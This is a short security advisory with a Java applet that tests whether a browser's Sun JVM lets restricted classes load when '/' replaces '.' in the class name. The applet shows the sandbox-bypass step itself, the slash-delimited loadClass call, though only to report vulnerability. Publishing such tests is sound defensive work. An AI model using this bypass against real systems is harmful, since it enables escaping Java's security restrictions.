Security vulnerability in SUN's Java Virtual Machine Implementation (Test)

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As we reported in our previous article Security Vulnerability in SUN's Java Virtual Machine Implementation ('/' Replaces '.'), a vulnerability exists in the way Sun has implemented its JVM. The vulnerability allows loading restricted classes by issuing a request for a class using the '/' delimiter instead of the '.' delimiter. The following is a test that can be conducted on your browser to verify whether you are vulnerable to this vulnerability or not.

Credit:
The information has been provided by Alla Bezroutchko.

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The following applet tests for this vulnerability:
import java.applet.Applet;
import java.awt.Graphics;
import java.lang.Class;
import java.security.AccessControlException;

public class Simple extends Applet {

     StringBuffer buffer;

     public void init() {
         buffer = new StringBuffer();
     }

     public void start() {
         ClassLoader cl = this.getClass().getClassLoader();
         try {
                 Class cla = cl.loadClass("sun/applet/AppletClassLoader"); // Note the slashes
                 addItem("No exception in loadClass. Vulnerable!");
         } catch (ClassNotFoundException e) {
                 addItem("ClassNotFoundException in loadClass - " + e);
         } catch (AccessControlException e) {
                 addItem("AccessControlException in loadClass - Not Vulnerable!");
         }

     }

     void addItem(String newWord) {
         System.out.println(newWord);
         buffer.append(newWord);
         repaint();
     }

     public void paint(Graphics g) {
         //Draw a Rectangle around the applet's display area.
         g.drawRect(0, 0, size().width - 1, size().height - 1);

         //Draw the current string inside the rectangle.
         g.drawString(buffer.toString(), 5, 15);
     }
}

This test can also be found here: http://bcheck.scanit.be/bcheck/applet.html.

If Sun Java VM is installed, the applet will inform you whether you are vulnerable or not.

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